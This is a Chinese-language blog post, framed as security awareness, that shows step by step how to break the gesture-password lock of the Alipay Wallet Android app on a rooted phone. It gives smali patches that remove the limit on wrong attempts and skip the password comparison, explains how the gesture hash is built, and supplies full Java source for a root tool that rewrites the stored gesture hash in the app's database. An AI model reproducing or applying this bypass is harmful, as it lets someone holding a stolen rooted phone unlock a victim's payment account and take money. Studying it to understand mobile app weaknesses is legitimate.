支付寶錢包手勢password破解實戰(root過的手機可直接繞過手勢password)
/*
本文章由 莫灰灰 編寫,轉載請註明出處。
作者:莫灰灰 郵箱: [email protected]
*/
背景
隨著移動互聯網的普及以及手機屏幕越做越大等特點,在移動設備上購物、消費已是人們不可或缺的一個生活習慣了。隨著這股浪潮的興起,安全、便捷的移動支付需求也越來越大。因此,各大互聯網公司紛紛推出了其移動支付平臺。當中,用的比較多的要數騰訊的微信和阿裏的支付寶錢包了。
就我而言,平時和同事一起出去AA吃飯。下班回家打車等日常生活都已經離不開這兩個支付平臺了。
正所謂樹大招風,移動支付平臺的興起,也給眾多一直徘徊在網絡陰暗地帶的黑客們重新重生的機會。
由於移動平臺剛剛興起,人們對移動平臺的安全認識度還不夠。就拿我身邊的非常多朋友來說,他們一買來手機就開始root,之後卸載預裝軟件,下載遊戲外掛等等。
今天,我們就以破解支付寶錢包的手勢password為例,來深入了解下android系統上的一些安全知識,希望能引起人們對移動平臺安全的重視。
在此申明:下面文章涉及的代碼與分析內容僅供android系統安全知識的學習和交流使用,不論什麽個人或組織不得使用文中提到的技術和代碼做違法犯罪活動,否則由此引發的不論什麽後果與法律責任本人概不負責。
實驗環境
紅米TD版
MIUI-JHACNBA13.0(已越獄)
支付寶錢包8.1.0.043001版
使用工具
APK IDE
Smali.jar
Ddms
SQLite Expert
應用寶
程序分析
準備階段
安裝完支付寶錢包之後,執行軟件,我這裏選擇淘寶帳號登錄。界面如圖1所看到的。
圖1
登錄之後,設置手勢password,如圖2所看到的。
圖2
完畢上述兩步之後,退出支付寶進程。
用騰訊應用寶定位到支付寶的安裝文件夾\data\data\com.eg.android.AlipayGphone,查看文件夾結構如圖3所看到的。
圖3
實戰開始 - 破解手勢password錯誤次數限制
看到圖3所看到的的文件夾結構,推測databases文件夾下的*.dB數據庫文件就是用來保存上述我們設置的password的。
因此,我們使用應用寶的導出功能將databases文件夾導出到本地。用SQLite Expert工具打開全部的dB文件。分析發現alipayclient.db數據庫中的userinfo表中保存了username、輸入錯誤次數、手勢password等具體信息,如圖4所看到的。當中的gestureErrorNum字段應該就是保存了手勢password輸入錯誤的次數了,非常明顯這裏已經被加密了。
圖4
使用APK IDE對支付寶的安裝包進行解包分析。
解包完畢之後,搜索setgestureErrorNum字樣。結果如圖5所看到的。
圖5
經過大致分析。UserInfoDao.smali文件裏的addUserInfo函數比較可疑,截取當中一段設置手勢password錯誤次數的代碼例如以下:
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;
move-result-object v1
#調用getGestureErrorNum函數獲得未加密的錯誤次數,並保存到v1寄存器
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;
move-result-object v2
#調用getUserId函數獲得user id,並保存到v2寄存器
invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
#獲取user id的前8個字節,保存到v2寄存器
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
#以user id的前8字節作為key。調用des加密錯誤次數字符串,並保存到v1寄存器
invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V
#調用setGestureErrorNum函數。將加密的字符串保存
通過對上述代碼的分析得知。第一次getGestureErrorNum的調用取出的錯誤次數應該是未加密的字符串,加入log代碼驗證,代碼如圖6所看到的。
圖6
保存改動的smali文件,又一次編譯打包。安裝完畢之後,輸入錯誤的手勢password,log輸出數字依次遞增。
最後一次輸入正確的手勢password,錯誤次數又一次歸0。LogCat捕捉到的日誌如圖7所看到的。
圖7
程序分析到這裏,我不禁推測,在錯誤次數未加密前,把v1寄存器的值設置為字符串“0”是不是就能夠騙過支付寶而能夠無限次的輸入手勢password了呢?於是乎。我又開始了以下的驗證,代碼如圖8所看到的。
圖8
編譯打包,又一次安裝支付寶,輸入錯誤的手勢password,發現5次錯誤之後程序還是讓我們又一次登錄。看來我們這裏設置錯誤次數已經晚了,於是乎,繼續搜索調用addUserInfo函數來加密gestureErrorNum的地方。當中,AlipayPattern.smali文件的settingGestureError函數引起了我的註意。函數代碼例如以下:
.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V
.locals 1
new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder實例
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
#p3是一個I類型的整型變量,調用StringBuilder. append賦值
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0 #調用toString函數轉換成字符串類型,賦給v0
invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#調用setGestureErrorNum設置未加密的錯誤次數字符串
invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;
move-result-object v0
invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;
move-result-object v0
invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z
#調用SecurityDbHelper.addUserInfo函數加密、更新數據庫
return-void
.end method
分析到這裏,想必這裏才是最原始的設置手勢輸入錯誤次數的地方吧,改動p3的值為0,測試代碼如圖9所看到的。
圖9
繼續打包、編譯、測試。
任意輸入錯誤的手勢password,支付寶始終顯示“password錯誤。還能夠輸入5次”字樣。如圖10。
圖10
至此,手勢password中的錯誤次數限制已經被我們解除了。
理論上來說,我們能夠使用窮舉法來獲取支付寶的手勢password。可是,作為一名分分鐘幾百萬上下的大黑闊來說,使用窮舉法來獲得password這樣的方式。顯然是在浪費生命和金錢呀。
越戰越勇 – 查找關鍵跳轉
對於大黑闊們來說,僅僅破解手勢輸入錯誤次數限制顯然是不夠的。以下我們以手勢password的存儲展開來說起。
查看alipayclient.db數據庫的userinfo表可知。手勢password的存儲字段為gesturePwd。搜索getGesturePwd函數得到如圖11的結果。
圖11
搜索到的結果比較多,依據前面對手勢password錯誤次數限制的分析,這裏能夠排除幾個文件,比如UserInfoDao.smali文件,它主要用來保存一些用戶態的信息。可臨時跳過。剩下的smali文件,我們一個個分析過來。在這裏我想說的一點是,逆向分析確實是非常考驗一個人耐心和細心的一件事情,一個恍惚就會迷失在浩瀚的匯編代碼中,可是等到你找到關鍵的調用點,分析出核心的算法時。那麽心境會豁然開朗,真是有種踏破鐵鞋無覓處,得來全不費工夫的感腳。好了,扯遠了,以下我們繼續。
經過我的細致分析,e.smali文件最有可能是比較輸入password的地方。雙擊上面e.smali文件的LINE 47行,跳轉到的是a函數。因為函數比較長,僅僅貼關鍵部分。代碼例如以下:
.method public final a(Ljava/lang/String;)V
.locals 4
invoke-virtual {p1},Ljava/lang/String;->length()I #取輸入字符串的長度
move-result v0
sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I
if-ltv0, v1, :cond_1 #比較字符串長度
:try_start_0
iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#獲取UserInfo對象
invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢password
move-result-object v0
invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密過的正確password的長度
move-result v0
const/16 v1, 0x20
if-le v0, v1, :cond_0 #長度是否小於32
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder對象
invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#將輸入的明文手勢password賦值給StringBuilder對象
move-result-object v0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#調用UserInfo的getUserId函數獲取user id
move-result-object v1
const-string/jumbo v2, "userInfo"
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#調用des加密函數,以“userInfo”為key,加密user id字符串
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#將加密好的user id字符串附加到StringBuilder對象上
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
#StringBuilder對象(輸入明文手勢的password + 加密後的user id)轉字符串。並賦值給v0寄存器
invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;
#調用靜態的sha1函數,計算出一個hash值
move-result-object v0
:goto_0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢password
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z
#比較輸入的password和正確的password
move-result v0
if-eqz v0, :cond_1
非常顯然。上面這個if-eqz是關鍵,假設比較函數equals返回false,那麽跳轉到cond_1標簽處。cond_1標簽處的主要任務就是取當前輸入錯誤的次數。在這個基礎上加上1。然後調用settingGestureError函數又一次設置錯誤次數。假設兩個字符串相等。那麽調用settingGestureError函數把錯誤次數又一次置為0。
以下為了驗證我們的推測,進行例如以下兩步操作:
1、在a函數中加入類似如圖12的打印日誌代碼。這裏未所有截圖下來,其它地方留給讀者自行加入。
圖12
2、在if-eqz v0前patch v0,代碼如圖13所看到的。
圖13
完畢上述兩步操作之後,保存改動過的smali文件。編譯打包,又一次安裝支付寶錢包client。任意輸入手勢password。
這裏引用大魔術師劉謙的一句話,“接下來就是見證奇跡的時刻”。在我們任意輸入password之後,熟悉的支付寶主界面出如今我們眼前。同一時候LogCat輸出日誌如圖14所看到的。
圖14
日誌的組成大致例如以下:
第一行:用戶輸入的,還未加密的手勢代碼;
第二行:保存在數據庫中正確的加密後的手勢password。
第三行:未加密的user id;
第四行:採用des加密後的user id;
第五行:拼接用戶輸入和加密後的user id;
第六行:採用sha1算法計算出來的加密之後的用戶輸入的手勢password。
通過細致的分析日誌。我們從中能夠得出兩個結論:
1、真實的手勢password和我們輸入的password是不一樣的。可是我們還是進入了支付寶的主界面,證明我們上面第2步中改動的地方很關鍵,從而也印證了e.smali文件的a函數確實是比較用戶輸入和真實password的關鍵函數。
2、支付寶是將用戶的手勢操作轉化成相應的數字,然後再做一定的加密處理之後保存到數據庫中。比較用戶輸入的時候,是用同樣的加密步驟對用戶輸入進行加密,再與數據庫中保存的password做比較。數字代碼相應如圖15所看到的。
圖15
程序分析到這裏,我們已經清楚的明確了支付寶手勢password的加密過程和算法,而且通過改動關鍵跳轉的方法。使得我們任意輸入手勢password都能夠進入支付寶主界面。
細致思考 – 還原手勢password?
回過頭來細致想想,手勢password的加密流程是這種,用戶輸入+user id組成一個字符串。將該字符串經過sha1算法哈希之後得到還有一個加密字符串即為手勢password。
當中,user id字符串在alipayclient.db數據庫的userinfo表中的userId字段已經表明了。正確的手勢passwordgesturePwd字段也已經有了。盡管sha1算法不可逆。可是在我們的這個實例中,最長輸入是9位,最短為4位,我們全然能夠通過已知的信息,採用有限的窮舉,就能得出正確的手勢代碼了。相信對於如今的4核乃至8核cpu手機來說。這點計算應該是非常輕松的。
可是,我們難道僅僅能通過窮舉來實現暴力破解嗎?答案是否定的。
事實上我們全然能夠自己構造一個輸入。比如0123。採用和支付寶全然同樣的加密流程得到手勢password。
然後,通過改動userinfo表的gesturePwd字段內容為上面我們計算出來的手勢password。這樣,就能實現任意改動手勢password的目的了。想法有了,以下我們編寫代碼來驗證該方法是否可行。
代碼實現
查看支付寶使用的sha1算法可知。該算法與支付寶的總體功能業務耦合度基本為0,於是我將sha1算法所在的smali文件轉換成jar包,然後導入到我的project中,這樣。就能夠直接調用和支付寶全然同樣的sha1算法了。
程序代碼例如以下所看到的:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
setTitle("支付寶手勢password改動器");
szUerIdString = "";
tvStatus = (TextView)findViewById(R.id.textStatus);
etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);
etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);
etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);
btnOK = (Button)findViewById(R.id.btnSetting);
if(!RootUtils.hasRootPermission()) {
tvStatus.setText("本程序僅僅能在ROOT過的手機上執行。");
return;
}
if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){
tvStatus.setText("請確認您已經安裝了支付寶錢包!");
return;
}
String szUserId =getUserId();
if (!szUserId.isEmpty()) {
szUerIdString =szUserId;
etEncryptUserid.setText(szUserId);
tvStatus.setText("讀取user id成功。請輸入自己定義手勢password!
");
StringszDecryptUserid = decryptUserid(szUserId, "userInfo");
if(!szDecryptUserid.isEmpty()) {
etDecryptUserid.setText(szDecryptUserid);
}
else {
tvStatus.setText("解密user id失敗!");
}
btnOK.setOnClickListener(newOnClickListener() {
@Override
public void onClick(View view) {
StringszPwd = etMyPwd.getText().toString();
if(szPwd.isEmpty()) {
Toast.makeText(MainActivity.this, "設置的自己定義password不能為空,請又一次輸入!", Toast.LENGTH_LONG).show();
}
else{
StringBuildersBuilder = new StringBuilder();
sBuilder.append(szPwd);
sBuilder.append(szUerIdString);
Stringtmp = sBuilder.toString();
Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);
Log.v(TAG,sha1);
if(!sha1.isEmpty()) {
if(updateDatabaseGesturePwd(szUerIdString, sha1)) {
tvStatus.setText("設置自己定義password成功!");
}
else{
tvStatus.setText("設置自己定義password失敗!");
}
}
}
}
});
}
else {
tvStatus.setText("獲取user id失敗。");
}
}
獲取user id和改動手勢password的代碼例如以下:
// 獲取加密的user id
private String getUserId()
{
String szRet = "";
// 改動數據庫文件的讀寫權限
RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");
RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
Cursor cursor =db.rawQuery("select * from userinfo", null);
if (cursor.moveToFirst()) {
szRet =cursor.getString(USER_ID_INDEX) ;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return szRet;
}
// 改動手勢password
private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {
boolean bRet = false;
if (szPwd.isEmpty() ||szUerId.isEmpty()) {
return bRet;
}
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
ContentValues cv =new ContentValues();
cv.put("gesturePwd",szPwd);
String[] args ={String.valueOf(szUerId)};
int n =db.update("userinfo", cv, "userId=?", args);
if (n> 0) {
bRet =true;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return bRet;
}
最後。程序執行效果如圖16所看到的。
圖16
輸入自己定義password,點擊確認,程序提示設置成功。此時,打開支付寶,輸入我們的自己定義手勢代碼就可以解鎖支付寶進入熟悉的主界面了。
後記
如上所述,通過改動支付寶錢包數據庫來達到破解目的的方法是須要在已經root過的手機上才幹使用的。設想一下這樣的情況,我的手機已經root,而且手機被盜。
那麽。除了手機上的艷照有可能泄露之外,小偷還能夠通過改動支付寶的手勢password來登錄我的支付寶,因此,造成直接的金錢損失也不是沒有可能。
一般來說。普通用戶日常使用的手機盡量不要去root,也不要隨便去下載來歷不明的軟件和外掛。
支付寶錢包手勢password破解實戰(root過的手機可直接繞過手勢password)